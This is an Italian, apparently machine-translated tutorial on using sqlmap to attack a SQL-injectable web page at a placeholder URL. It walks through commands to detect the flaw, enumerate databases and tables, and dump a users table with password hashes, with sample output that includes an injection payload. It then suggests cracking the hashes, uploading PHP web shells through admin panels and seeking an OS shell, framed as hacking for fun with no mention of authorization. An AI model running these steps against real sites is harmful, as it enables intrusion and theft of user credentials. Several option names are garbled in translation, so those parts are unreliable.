Sqlmap
Sqlmap è uno dei più popolari e potenti strumenti di automazione sql injection là fuori. Dato un URL di richiesta http vulnerabile, sqlmap può sfruttare il database remoto e fare un sacco di hacking come estrarre nomi di database, tabelle, colonne, tutti i dati nelle tabelle ecc.
Può anche leggere e scrivere file sul file system remoto in determinate condizioni. Scritto in python è uno dei più potenti strumenti di hacking là fuori. Sqlmap è il metasploit delle iniezioni sql.
Sqlmap è incluso nelle distribuzioni linux pen testing come kali linux, backtrack, backbox ecc. Su altre distribuzioni può essere semplicemente scaricato dal seguente url
http://sqlmap.org/.
Dal momento che è scritto in python, prima devi installare python sul tuo sistema. Su ubuntu installa python da synaptic. Su Windows installare activestate python. Dai un’occhiata a questo post per i dettagli su come installare ed eseguire sqlmap su Windows.
Per l’elenco delle opzioni e dei parametri che possono essere utilizzati con il comando sqlmap, controllare la documentazione sqlmap a
https://github.com/sqlmapproject/sqlmap/wiki/Usage
In questo tutorial impareremo come usare sqlmap per sfruttare un’applicazione web vulnerabile e vedere cosa tutto può essere fatto con tale strumento.
Per comprendere questo tutorial è necessario avere una conoscenza approfondita di come funzionano le applicazioni web basate su database. Ad esempio quelli realizzati con php+mysql.
Url vulnerabili
Diciamo che c’è un’applicazione web o un sito web che ha un url come questo
http://www.site.com/section.php?id=51
ed è soggetto a sql injection perché lo sviluppatore di quel sito non è riuscito a sfuggire correttamente all’ID del parametro. Questo può essere semplicemente testato provando ad aprire l’url
http://www.site.com/section.php?id=51'
Abbiamo appena aggiunto una singola citazione nel parametro. Se questo URL genera un errore o reagisce in modo imprevisto, è chiaro che il database ha la citazione singola inaspettata che l’applicazione non è sfuggita correttamente. Quindi in questo caso questo parametro di input “id” è vulnerabile a sql injection.
Hacking con sqlmap
Ora è il momento di passare a sqlmap per hackerare tali URL. Il comando sqlmap viene eseguito dal terminale con l’interprete python.
1. Scansione del sistema remoto
Il primo comando esegue la scansione del sistema remoto per vedere se è vulnerabile a sql injection e quindi raccoglie informazioni su di esso.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
Quanto sopra è il primo e più semplice comando da eseguire con lo strumento sqlmap. Controlla i parametri di input per scoprire se sono vulnerabili a sql injection o meno. Per questo sqlmap invia diversi tipi di payload sql injection al parametro input e controlla l’output.
Nel processo sqlmap è anche in grado di identificare il sistema operativo remoto, il nome del database e la versione. Ecco come potrebbe apparire l’output
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
Quindi lo strumento sqlmap ha scoperto il sistema operativo, il server Web e il database insieme alle informazioni sulla versione. Anche questo è abbastanza impressionante. Ma è tempo di andare avanti e vedere di cosa è capace questo strumento.
2. Discover Databases
Una volta che sqlmap conferma che un URL remoto è vulnerabile a sql injection ed è sfruttabile, il passo successivo è scoprire i nomi dei database esistenti sul sistema remoto. L’opzione “d dbs” viene utilizzata per ottenere l’elenco del database.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
L’output potrebbe essere qualcosa di simile
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
L’output mostra i database esistenti sul sistema remoto.
3. Trova le tabelle in un particolare database
Ora è il momento di scoprire quali tabelle esistono in un particolare database. Diciamo che il database di interesse qui è ‘safecosmetics’
Comando
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
e l’output può essere qualcosa di simile a questo
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
non è fantastico ? se naturalmente. Consente di ottenere le colonne di una tabella particolare ora.
4. Ottieni colonne di una tabella
Ora che abbiamo l’elenco delle tabelle con noi, sarebbe una buona idea ottenere le colonne di una tabella importante. Diciamo che la tabella è “utenti” e contiene il nome utente e la password.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
L’output può essere qualcosa di simile
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
Quindi ora le colonne sono chiaramente visibili. Buon lavoro!
5. Ottieni dati da una tabella
Ora arriva la parte più interessante, di estrarre i dati dalla tabella. Il comando sarebbe
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
Il comando precedente semplicemente scaricherà i dati della tabella particolare, molto simile al comando mysqldump.
L’output potrebbe essere simile a questo
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
La colonna hash sembra avere l’hash della password. Prova a rompere l’hash e poi otterrai subito i dettagli di accesso. sqlmap creerà un file csv contenente i dati di dump per una facile analisi.
Finora siamo stati in grado di raccogliere molte informazioni dal database remoto utilizzando sqlmap. È quasi come avere accesso diretto al database remoto attraverso un client come phpmyadmin. In scenari reali gli hacker cercherebbero di ottenere un livello più alto per accedere al sistema. Per questo, avrebbero cercato di decifrare gli hash delle password e provare ad accedere tramite il pannello di amministrazione. Oppure proverebbero a ottenere una shell del sistema operativo usando sqlmap.
Ho scritto un altro post sull’utilizzo di sqlmap per ottenere maggiori dettagli sui database remoti. Spiega le altre opzioni di sqlmap che sono utili per trovare gli utenti del database, i loro privilegi e i loro hash delle password.
Quale sarà il prossimo ?
Una volta che siete in grado di eseguire la scansione e raccogliere i dati da un sistema vulnerabile, il suo tempo di sfruttarlo e vedere se è possibile ottenere l’accesso al sistema. Sqlmap può fare alcune cose come l’esecuzione di query sql sul sistema remoto, l’avvio di una shell remota sul sistema, ecc.
1. Esegui query sql arbitrarie
Questa è probabilmente la cosa più semplice da fare su un server vulnerabile a sql injection. Il parametro sql sql-query può essere utilizzato per specificare una query sql da eseguire. Le cose di interesse sarebbero creare un utente nella tabella utenti o qualcosa di simile. O può essere cambiare / modificare il contenuto delle pagine cms ecc.
Un altro paramter sql sql-shell darebbe un’interfaccia simile a una shell sql per eseguire query in modo interattivo.
2. Entra nel pannello di amministrazione e gioca
Se il sito Web esegue una sorta di cms personalizzato o qualcosa di simile che ha un pannello di amministrazione, potrebbe essere possibile entrare a condizione che tu sia in grado di decifrare la password recuperata nel dump del database. Le password di lunghezza semplice e breve possono essere rotte semplicemente forzando bruta o google.com.
Controlla se il pannello di amministrazione consente di caricare alcuni file. Se un file php arbitrario può essere caricato, allora sarà molto più divertente. Il file php può contenere chiamate di funzione shell_exec, system, exec o passthru e che permetteranno di eseguire comandi di sistema arbitrari. Script Php web shell possono essere caricati per fare la stessa cosa.
3. Shell sul sistema operativo remoto
Questa è la cosa da fare per acquisire completamente il server. Tuttavia si noti che non è così facile e banale come i trucchi mostrati sopra. sqlmap viene fornito con una chiamata di parametro os os-shell che può essere utilizzata per cercare di ottenere una shell sul sistema remoto, ma ha molte limitazioni.
Secondo il manuale sqlmap
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
Il privilegio più importante necessario all’utente corrente del database è quello di scrivere file attraverso le funzioni del database. Questo è assente nella maggior parte dei casi. Quindi questa tecnica non funzionerà nella maggior parte dei casi.
Nota
1. A volte sqlmap non è in grado di connettersi all’URL. Questo è visibile quando si blocca al primo compito di “testare la connessione all’URL di destinazione”. In questi casi è utile utilizzare l’opzione” random random-agent”. Questo rende sqlmap utilizzare una firma user agent valida come quelle inviate da un browser come Chrome o firefox.
2. Per gli URL che non sono sotto forma di param = value sqlmap non può sapere automaticamente dove iniettare. Ad esempio URL mvc come http://www.site.com/class_name/method/43/80.
In questi casi sqlmap deve essere informato del punto di iniezione contrassegnato da a *
http://www.site.com/class_name/method/43*/80
Quanto sopra dirà a sqlmap di iniettare nel punto contrassegnato da *
3. Quando si utilizzano moduli che inviano dati tramite il metodo post, sqlmap deve fornire i dati post nelle opzioni”data data”. Per ulteriori informazioni, consulta questo tutorial sull’utilizzo di sqlmap con i moduli.